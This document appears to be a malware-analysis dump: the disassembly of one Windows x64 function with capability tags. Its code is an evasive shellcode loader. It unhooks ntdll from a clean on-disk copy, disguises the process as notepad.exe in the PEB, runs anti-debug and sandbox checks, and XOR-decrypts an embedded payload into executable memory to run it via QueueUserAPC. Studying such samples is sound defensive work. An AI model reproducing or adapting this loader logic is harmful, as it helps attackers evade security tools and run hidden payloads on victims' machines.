Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x838
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x7a0], xmm6
mov dword [rbp + 0x7e0], ecx
mov qword [rbp + 0x7e8], rdx
call fcn.140002840
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x730], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x728], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x720], rax
mov dword [rbp + 0x79c], 0xffffffff
add dword [rbp + 0x79c], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x20d
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006630]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003a50
movq rax, xmm0
mov qword [rbp + 0x718], rax
cmp dword [rbp + 0x79c], 0x1dd
jle 0x1400014d4
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x790], rax
cmp qword [rbp + 0x790], 0
jne 0x14000158b
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x790], rax
cmp qword [rbp + 0x790], 0
je 0x140001bff
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5b0]
mov rax, qword [rbp + 0x720]
mov r10, qword [rbp + 0x790]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x5b0]
mov qword [rbp + 0x710], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x708]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x700], rax
mov rax, qword [rbp + 0x700]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x710]
mov qword [rbp + 0x6f0], rax
mov ecx, 0x208
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6e8], rax
mov dword [rbp + 0x78c], 0
jmp 0x140001703
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x78c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6e8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x78c], 1
cmp dword [rbp + 0x78c], 0x81
jle 0x1400016b6
mov dword [rbp + 0x78c], 0
jmp 0x1400017f3
cmp dword [rbp + 0x78c], 0
je 0x140001763
mov eax, dword [rbp + 0x78c]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x6e8]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x78c]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x6e8]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x14000176f
add dword [rbp + 0x78c], 1
jmp 0x1400017f3
mov eax, dword [rbp + 0x78c]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x6e8]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x6bc], eax
mov eax, dword [rbp + 0x78c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6e8]
add rax, rdx
mov edx, dword [rbp + 0x78c]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x6e8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x78c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6e8]
add rdx, rax
mov eax, dword [rbp + 0x6bc]
mov dword [rdx], eax
sub dword [rbp + 0x78c], 1
cmp dword [rbp + 0x78c], 0x81
jle 0x14000171e
mov rax, qword [rbp + 0x6e8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6f0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x710]
add rax, rdx
mov qword [rbp + 0x6e0], rax
mov word [rbp + 0x78a], 0
jmp 0x140001be7
mov rax, qword [rbp + 0x6e0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x6e0]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x78a]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x6d8], rax
mov dword [rbp + 0x780], 1
jmp 0x140001936
mov dword [rbp + 0x784], 0
mov eax, dword [rbp + 0x780]
mov dword [rbp + 0x77c], eax
jmp 0x14000190c
mov edx, dword [rbp + 0x77c]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x6c0], edx
mov eax, dword [rbp + 0x6c0]
imul eax, eax
imul eax, dword [rbp + 0x6c0]
add dword [rbp + 0x784], eax
mov eax, dword [rbp + 0x77c]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x77c], eax
cmp dword [rbp + 0x77c], 0
jne 0x1400018a1
mov eax, dword [rbp + 0x784]
cmp eax, dword [rbp + 0x780]
jne 0x14000192f
mov eax, dword [rbp + 0x780]
mov dword [rbp + 0x6c4], eax
add dword [rbp + 0x780], 1
cmp dword [rbp + 0x780], 0x393
jle 0x140001889
mov rax, qword [rbp + 0x6d8]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001bd6
mov dword [rbp + 0x578], 0
mov rax, qword [rbp + 0x6d8]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x6d8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x710]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x578]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov ecx, 0xc7c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6d0], rax
mov dword [rbp + 0x778], 0
jmp 0x140001a16
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x778]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6d0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x778], 1
cmp dword [rbp + 0x778], 0x31e
jle 0x1400019c9
mov dword [rbp + 0x778], 0
jmp 0x140001b2e
mov dword [rbp + 0x6cc], 0
jmp 0x140001b10
mov eax, dword [rbp + 0x778]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6d0]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x6cc]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x6d0]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x140001b09
mov eax, dword [rbp + 0x6cc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6d0]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x6c8], eax
mov eax, dword [rbp + 0x778]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6d0]
add rax, rdx
mov edx, dword [rbp + 0x6cc]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6d0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x6cc]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6d0]
add rdx, rax
mov eax, dword [rbp + 0x6c8]
mov dword [rdx], eax
add dword [rbp + 0x778], 1
mov eax, 0x31e
sub eax, dword [rbp + 0x778]
cmp dword [rbp + 0x6cc], eax
jl 0x140001a40
add dword [rbp + 0x778], 1
cmp dword [rbp + 0x778], 0x31e
jle 0x140001a31
mov rax, qword [rbp + 0x6d0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6d8]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x6d8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x6f8]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x6d8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x710]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x578]
mov rax, qword [rbp + 0x6d8]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x6d8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x710]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x578]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x78a]
add eax, 1
mov word [rbp + 0x78a], ax
mov rax, qword [rbp + 0x6e0]
movzx eax, word [rax + 6]
cmp word [rbp + 0x78a], ax
jb 0x14000183e
mov dword [rbp + 0x57c], 0
mov rax, qword [rbp + 0x730]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x580]
lea rax, [rbp + 0x57c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x6b0]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x588]
add rax, 0x3c
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6a8]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x6a8]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov ecx, 0xc58
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6a0], rax
mov ecx, 0xc58
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x698], rax
mov dword [rbp + 0x774], 0
jmp 0x140001d51
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x774]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6a0]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x774], 1
cmp dword [rbp + 0x774], 0x18a
jle 0x140001cc7
mov dword [rbp + 0x774], 0
jmp 0x140001dbf
mov eax, dword [rbp + 0x774]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6a0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x774]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x698]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003970
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x774], 1
cmp dword [rbp + 0x774], 0x18a
jle 0x140001d6d
mov ecx, 0x546
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x546
jne 0x140002775
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov dword [rbp + 0x574], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x690], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x574]
mov r8, qword [rbp + 0x690]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x574]
cmp eax, 1
je 0x140002775
mov ecx, 0x72b
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x72b
jne 0x140002775
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x688], rax
cmp qword [rbp + 0x688], 0
je 0x140002775
mov rax, qword [rbp + 0x688]
mov edx, 0x3e8
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x684], eax
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x678], rax
cmp qword [rbp + 0x678], 0
jne 0x140002775
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x670], rax
cmp qword [rbp + 0x670], 0
jne 0x140002775
mov dword [rbp + 0x66c], 0x339
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x660], rax
mov rax, qword [rbp + 0x660]
call rax
mov dword [rbp + 0x65c], eax
mov eax, dword [rbp + 0x66c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x660]
call rax
mov dword [rbp + 0x658], eax
mov eax, dword [rbp + 0x658]
sub eax, dword [rbp + 0x65c]
cmp eax, 0x307
jbe 0x140002775
lea rax, str.rooplyzmxnduq.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x650], rax
cmp qword [rbp + 0x650], 0
jne 0x140002775
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x648], rax
cmp qword [rbp + 0x648], 0
je 0x140002052
mov rax, qword [rbp + 0x648]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x640]
mov ecx, 0
call rax
mov dword [rbp + 0x770], eax
cmp dword [rbp + 0x770], 0xffffffff
je 0x140002775
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x638], rax
cmp qword [rbp + 0x638], 0
je 0x1400020b8
mov rax, qword [rbp + 0x638]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x630], rax
mov rax, qword [rbp + 0x630]
mov ecx, 0
call rax
mov dword [rbp + 0x76c], eax
cmp dword [rbp + 0x76c], 0xffffffff
je 0x140002775
lea rax, [rbp + 0x80]
lea rdx, [0x140006138]
mov ecx, 0x9e
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x728]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x728]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x628]
mov r8d, 0
mov edx, 0x4f2
mov ecx, 0x40000
call rax
mov qword [rbp + 0x618], rax
mov rax, qword [rbp + 0x618]
mov r9, qword [rbp + 0x620]
mov r8d, 0x4f2
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x610], rax
mov rax, qword [rbp + 0x730]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x608], rax
lea rdx, [rbp + 0x80]
mov rax, qword [rbp + 0x610]
mov r9, qword [rbp + 0x608]
mov r8d, 0x4f2
mov rcx, rax
call r9
mov dword [rbp + 0x768], 0
mov dword [rbp + 0x764], 0
mov dword [rbp + 0x760], 0
movabs rax, 0xc9f3d865ef76e0f4
movabs rdx, 0x18ded0d690e9e5e2
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x3e13fe683f8d235f
movabs rdx, 0xfdeeae7519222aaf
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0x86b425e00029fd
mov qword [rbp + 0xf], rax
mov dword [rbp + 0x75c], 0
mov dword [rbp + 0x758], 0
mov ecx, 0x484
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x600], rax
mov dword [rbp + 0x754], 0
jmp 0x1400022c7
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x754]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x600]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x754]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x600]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x75c], eax
add dword [rbp + 0x754], 1
cmp dword [rbp + 0x754], 0x120
jle 0x140002259
mov dword [rbp + 0x754], 0
jmp 0x14000234f
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x758]
mov eax, dword [rbp + 0x754]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x600]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x5cc]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movsd xmm0, qword [0x140006638]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003c20
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x758], eax
add dword [rbp + 0x754], 1
cmp dword [rbp + 0x754], 0x120
jle 0x1400022df
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x758]
movss xmm1, dword [0x140006640]
divss xmm0, xmm1
movss dword [rbp + 0x5fc], xmm0
pxor xmm3, xmm3
cvtss2sd xmm3, dword [rbp + 0x5fc]
movq rax, xmm3
movq xmm0, rax
call fcn.140003830
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x5f8], xmm0
mov rax, qword [rbp + 0x600]
mov rcx, rax
call sub.msvcrt.dll_free
movabs rax, 0xe13080c958300314
movabs rdx, 0x367f63bdd3c1eda1
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x37948dbf590127eb
movabs rdx, 0xe18f6fe8cb409bbd
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x7da8f703b292069d
movabs rdx, 0xff3cd1236b8d6956
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x518c4594542a2a0d
movabs rdx, 0x6006a9f93c6113c4
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0xeb64a8f83c1032c3
movabs rdx, 0x383b26e567df3d52
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
mov dword [rbp + 0x70], 0x62e5cf
jmp 0x1400024b9
cmp dword [rbp + 0x764], 0x52
jne 0x140002483
mov eax, dword [rbp + 0x768]
cdqe
movzx edx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x764]
cdqe
movzx eax, byte [rbp + rax + 0x20]
xor edx, eax
mov eax, dword [rbp + 0x768]
cdqe
mov byte [rbp + rax - 0x40], dl
mov dword [rbp + 0x764], 0
jmp 0x1400024b2
mov eax, dword [rbp + 0x768]
cdqe
movzx edx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x764]
cdqe
movzx eax, byte [rbp + rax + 0x20]
xor edx, eax
mov eax, dword [rbp + 0x768]
cdqe
mov byte [rbp + rax - 0x40], dl
add dword [rbp + 0x764], 1
add dword [rbp + 0x768], 1
mov eax, dword [rbp + 0x768]
cmp eax, 0x25
jbe 0x140002446
mov dword [rbp + 0x768], 0
jmp 0x14000258e
cmp dword [rbp + 0x760], 0x25
jne 0x140002526
mov eax, dword [rbp + 0x768]
movsxd rdx, eax
mov rax, qword [rbp + 0x610]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x760]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x768]
movsxd rdx, eax
mov rax, qword [rbp + 0x610]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x760], 0
jmp 0x140002587
mov eax, dword [rbp + 0x768]
movsxd rdx, eax
mov rax, qword [rbp + 0x610]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x760]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x768]
movsxd rdx, eax
mov rax, qword [rbp + 0x610]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x750], 0x3ca
jmp 0x140002577
sub dword [rbp + 0x750], 1
cmp dword [rbp + 0x750], 0
jg 0x140002570
add dword [rbp + 0x760], 1
add dword [rbp + 0x768], 1
cmp dword [rbp + 0x768], 0x4f1
jle 0x1400024d3
mov rax, qword [rbp + 0x610]
mov qword [rbp + 0x5f0], rax
mov rax, qword [rbp + 0x728]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5e8], rax
mov dword [rbp + 0x74c], 0x104
mov dword [rbp + 0x748], 0x280
jmp 0x140002601
mov eax, dword [rbp + 0x74c]
cmp eax, dword [rbp + 0x748]
jle 0x1400025fa
sub dword [rbp + 0x74c], 1
jmp 0x140002601
sub dword [rbp + 0x748], 1
cmp dword [rbp + 0x74c], 0
jg 0x1400025e3
mov rax, qword [rbp + 0x728]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5e0], rax
movsd xmm0, qword [0x140006648]
movsd qword [rbp + 0x740], xmm0
movsd xmm0, qword [0x140006650]
movsd qword [rbp + 0x5d8], xmm0
jmp 0x140002676
movsd xmm0, qword [rbp + 0x5d8]
mov rax, qword [rbp + 0x740]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003c20
movq rax, xmm0
mov qword [rbp + 0x740], rax
movsd xmm0, qword [0x140006658]
comisd xmm0, xmmword [rbp + 0x740]
ja 0x14000264d
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x5f0]
mov r9, qword [rbp + 0x5e8]
mov r8d, 0
mov rcx, rax
call r9
mov dword [rbp + 0x73c], 0xffffffff
mov ecx, 0x858
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5d0], rax
add dword [rbp + 0x73c], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x73c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5d0]
add rax, rdx
movsd xmm1, qword [0x140006630]
divsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x73c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5d0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x73c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x5d0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x73c], 0x109
jle 0x1400026c9
mov rax, qword [rbp + 0x5e0]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x7a0]
add rsp, 0x838
pop rbx
pop rsi
pop rdi
pop rbp
ret